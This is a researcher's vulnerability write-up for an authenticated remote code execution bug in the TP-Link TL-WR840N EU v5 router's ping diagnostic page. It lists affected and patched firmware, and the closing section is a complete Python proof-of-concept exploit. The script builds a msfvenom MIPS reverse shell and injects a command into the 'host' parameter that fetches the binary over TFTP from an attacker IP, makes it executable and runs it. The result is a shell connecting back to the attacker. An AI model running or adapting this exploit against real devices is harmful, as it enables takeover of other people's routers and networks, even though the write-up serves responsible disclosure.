Home

TP-Link TL-WR840N EU v5 Remote Code Execution

#TPLINK, #rce, #exploit, #CVE, #vulnerability, #router, #routerhacking, #kpmghungary

Last Modified: 2021.11.12.

Introduction

The goal was to achieve remote code execution on a TP-LINK TL-WR840N EU (V5) router. According to its papers, this version came out in 2017.

1 Model: TP-Link TL-WR840N EU v5
Note: There are newer hardware versions 6.0 and 6.20.
Vulnerable Firmware version: TL-WR840N(EU)_V5_171211 / 0.9.1 3.16 v0001.0 Build 171211 Rel.58800n


2 Authentication required: Yes
LAN exploit: Yes
POC: Yes
Reverse shell obtained: Yes
Patch is available: Yes

I highly recommend upgrading the firmware to the latest version "TL-WR840N(EU)_V5_211109". It can be downloaded from the vendor homepage.

I would like to say thank you to the TP-Link Security Team.

Additional Notes:

I found a similar vulnerability on the TPLINK TL-WR840N v4 hardware, but it is different. It is related to the Traceroute function and telnet is available on that case.

The relevant CVE is the following:

https://nvd.nist.gov/vuln/detail/CVE-2019-15060

There is another vulnerability on the TPLINK TL-WR840N v6 version that vulnerability is also an input validation problem, but it is not related to the diagnostic page.

More information can be found here:

https://nvd.nist.gov/vuln/detail/CVE-2020-36178

I tested the vulnerability with a v6.20 device and it is not vulnerable.

Technical Details

Easy root via UART

I used my FT232 device to obtain root access to the device. This console was really useful during exploit development.


3
	
	# check serial port
	screen /dev/tty.usbserial-AB0LR7NH 115200
	
4

I used the UART console for debugging only and it is not necessary to exploit the vulnerability.

The vulnerability

The following screenshot contains the relevant input parameter on the GUI. The user-provided input parameter is not sanitized on the server-side and it is used to execute a PING command.

Note: The WAN cable must be plugged in. The router IP Address is 192.168.1.1.

5

The vendor uses client-side JavaScript protection, but it can be bypassed easily with a proxy.

The protection:

6

The exact command is visible on the serial console when the command is executed.

22

Of course, I used ghidra and other reverse engineering tools to check what is happening, but now it is enough the parameters are not sanitized on the server-side.

To execute code on the router, the following two requests must be sent:

Note: There are other requests, but they are not mandatory to achieve code execution.

Request 1 (the host parameter is vulnerable)

7

Request 2:

8

Simple Code Execution

The following picture contains the content of the /var/tmp folder (via UART). This folder is writeable.

9

The host parameter modified to create a file:

Request 1:

10

Request 2:

11

The /var/tmp/k44 file content is the following:

12

Reverse shell

The vendor provided programs are limited. For a successful attack multiple steps are necessary. The TFTP client can be used to copy files from the attacker to the router.

13

Note:The username and password are necessary.

  1. Generate meterpreter shell (IP, PORT)
  2. Prepare the TFTP server
  3. Copy the shell to the TFTP server
  4. Open Meterpreter listener
  5. Send requests to the router
  6. Download the shell via TFTP
  7. Execute the binary and connect back to the attacker

The important part of the code execution does the following:

  1. Upload the shell
  2. Change permission of the shell
  3. Execute the shell
14

POC + DEMO

Notes:

  1. I used my standard kali vm and the msfvenom tool to generate a reverse shell binary. The architecture is MIPSLE.
  2. I used atfpd server as a TFTP server

Use multi handler:

15

Execute the script:

15

Reverse shell:

17

POC


#!/usr/bin/python3
###############################################################
### tplink_TL-WR840N-EU-v5-rce-exploit_v1.py 
### Version: 1.0
### Author: Matek Kamillo (k4m1ll0)
### Email: matek.kamillo@gmail.com
### Date: 2021.09.06.
##############################################################

import requests
import os
import base64

USERNAME = "admin"
PASSWORD = "admin"
URL = "http://192.168.1.1/cgi"
PATH = "/srv/tftp/shell"
ATTACKER_IP = "192.168.1.101"
COMMAND = "$(echo 127.0.0.1; tftp -g -r shell -l /var/tmp/shell " + ATTACKER_IP + "; chmod +x /var/tmp/shell; /var/tmp/shell)"

def base64_encode(s):
    msg_bytes = s.encode('ascii')
    return base64.b64encode(msg_bytes)


class Exploit(object):
    def __init__(self, username, password, command):
        self.username = username
        self.password = password
        self.command = command

        self.URL = "http://192.168.1.1/cgi"
        self.session = requests.session()
        #self.proxies = { 'http' : 'http://192.168.1.100:8080'}
        self.proxies = { }
        self.cookies = { 'Authorization' : 'Basic ' + base64_encode(username + ":" + password).decode('ascii') }
        self.headers = { 'Content-Type': 'text/plain', 'Referer' : 'http://192.168.1.1/mainFrame.htm' }

    def _prepare(self):
        print("Generating reverse shell.")
        command = "msfvenom -p linux/mipsle/shell/reverse_tcp -f elf LHOST=" + ATTACKER_IP + " LPORT=2000 -o " + PATH
        os.system(command)

    def _send_ping_command(self):
        URL = self.URL + '?2'
        data = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n'
        data += 'dataBlockSize=64\r\n'
        data += 'timeout=1\r\n'
        data += 'numberOfRepetitions=4\r\n'
        data += 'host=' + self.command + '\r\n'
        data += 'X_TP_ConnName=ewan_ipoe_d\r\n'
        data += 'diagnosticsState=Requested\r\n'
        r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)

    def _send_execute_command(self):
        URL = self.URL + '?7'
        data = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
        r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)
        
    def execute(self):
        self._prepare()
        self._send_ping_command()
        self._send_execute_command()

if __name__ == "__main__":
    e = Exploit(USERNAME, PASSWORD, COMMAND)
    e.execute()

Video

Disclosure Timeline

© 2019-2021 Kamilló Matek (<ᚫᛗIᛚᛚᛟ) All Rights Reserved